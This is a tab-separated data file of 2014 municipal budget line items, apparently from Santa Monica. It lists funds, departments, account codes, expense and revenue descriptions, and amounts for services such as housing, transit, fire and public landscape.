7169	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2014	-30750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-30750.0
7170	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577346.0	HAP PORT-IN	816.0	 Supplies and Expenses	2014	300000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300000.0
7171	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1467929.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1467929.0
7172	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE		UNEMPLOYMENT	816.0	Salaries and Wages	2014	6664.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6664.0
7173	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7174	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561430.0	STEP OFF THE STREETS SHP		 Supplies and Expenses	2014	13458.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13458.0
7175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563126.0	WISE CONGREGATE MEALS		 Supplies and Expenses	2014	235903.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	235903.0
7176	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577726.0	ST JOE -FAM SELF SUF PRG-CDBG	810.0	 Supplies and Expenses	2014	62321.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62321.0
7177	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577727.0	WCIL HOME ACCESS PROG-CDBG	810.0	 Supplies and Expenses	2014	36644.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36644.0
7178	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	123474.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	123474.0
7179	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7180	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	16090.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16090.0
7181	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2014	11983.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11983.0
7182	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	209087.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209087.0
7183	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DCAP	804.0	Salaries and Wages	2014	852.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	852.0
7184	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522180.0	BANK FEES		 Supplies and Expenses	2014	1350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1350.0
7185	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	2101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2101.0
7186	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	552010.0	CUSTODIAL SERVICES		 Supplies and Expenses	2014	3200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3200.0
7187	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402260.0	PROPERTY INSURANCE	650.0	Charges for Service	2014	-2618477.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2618477.0
7188	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	850.0
7189	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2014	-27417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27417.0
7190	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2014	-11714.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11714.0
7191	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	4067.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4067.0
7192	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	22417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22417.0
7193	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	6714.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6714.0
7194	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-29500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29500.0
7195	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EAP	816.0	Salaries and Wages	2014	1348.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1348.0
7196	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522620.0	RENT	816.0	 Supplies and Expenses	2014	166873.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	166873.0
7197	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	1300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1300.0
7198	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
7199	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2014	1150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1150.0
7200	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7201	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577344.0	HAP-VOUCHER	816.0	 Supplies and Expenses	2014	12611900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12611900.0
7202	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	4048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4048.0
7203	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522620.0	RENT		 Supplies and Expenses	2014	100995.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100995.0
7204	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7205	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	357112.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	357112.0
7206	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2014	3100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3100.0
7207	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400921.0	SPC ADMIN SU02	610.0	Intergovernmental	2014	-4067.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4067.0
7208	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1647.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1647.0
7209	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2014	-45000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-45000.0
7210	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	65268.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65268.0
7211	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	15314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15314.0
7212	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	8250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8250.0
7213	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522180.0	BANK FEES	816.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
7214	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
7215	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
7216	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	578330.0	PORTABLE ADMIN FEES	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
7217	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	97331.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	97331.0
7218	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-4367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4367.0
7219	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	1086.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1086.0
7220	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	1349.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1349.0
7221	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	10586.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10586.0
7222	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2170.0
7223	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	31406.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31406.0
7224	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	130000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130000.0
7225	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7226	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400308.0	VALET PERMITS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7227	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	560020.0	DOWNSPOUT REDIRECT	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
7228	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533690.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4165.0
7229	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401750.0	MUSEUM UTILITY REIMBURSE	622.0	Other	2014	-6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6000.0
7230	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	2280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2280.0
7231	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
7232	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7233	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7234	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7235	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7236	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7238	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7239	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7240	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7241	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7242	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2014	1694.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1694.0
7243	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2014	1550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1550.0
7244	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DCAP		Salaries and Wages	2014	276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276.0
7245	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402660.0	FUTURE REPLACEMENTS	650.0	Charges for Service	2014	-4328928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4328928.0
7246	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2014	157031.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	157031.0
7247	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2014	401.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	401.0
7248	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7249	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7250	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2014	-923789.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-923789.0
7251	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	8388.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8388.0
7252	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7253	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
7254	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
7255	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	122257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	122257.0
7256	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	272.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	272.0
7257	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
7258	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	12002.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12002.0
7259	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	1829.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1829.0
7260	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2014	205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205.0
7261	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	19293.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19293.0
7262	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	578670.0	COORDINATED COMMUNITY OUTREACH	804.0	 Supplies and Expenses	2014	156396.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	156396.0
7263	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571140.0	S+C HAP EXPANSION	816.0	 Supplies and Expenses	2014	214044.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	214044.0
7264	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566810.0	TRANS & USE TAX-SMMUSD ALLOCAT	810.0	 Supplies and Expenses	2014	7517842.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7517842.0
7265	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-54295.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-54295.0
7266	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-34802.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34802.0
7267	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-621174.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-621174.0
7268	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7269	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7270	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7271	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544440.0	WEBSITE DEVOP & MAINTENANCE	808.0	 Supplies and Expenses	2014	5900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5900.0
7272	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	12651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12651.0
7273	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
7274	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
7275	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	215.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	215.0
7276	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401680.0	UNDERGROUND TANK PERMITS	612.0	Charges for Service	2014	-34850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-34850.0
7277	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7278	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404290.0	MEASURE R LOCAL RETURN	658.0	Sales Tax	2014	-991753.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-991753.0
7279	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7280	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	3325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3325.0
7281	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556100.0	EMBALMING/CREMATION/DECEDENT C		 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
7282	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7283	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7284	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7285	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7286	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7287	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7288	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7289	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
